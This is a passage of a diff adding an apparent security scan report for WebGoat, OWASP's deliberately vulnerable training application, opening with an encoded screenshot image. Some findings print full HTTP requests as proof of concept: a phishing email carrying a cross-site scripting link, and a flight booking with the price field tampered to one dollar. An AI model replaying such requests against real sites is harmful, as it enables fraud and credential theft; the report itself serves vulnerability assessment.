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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
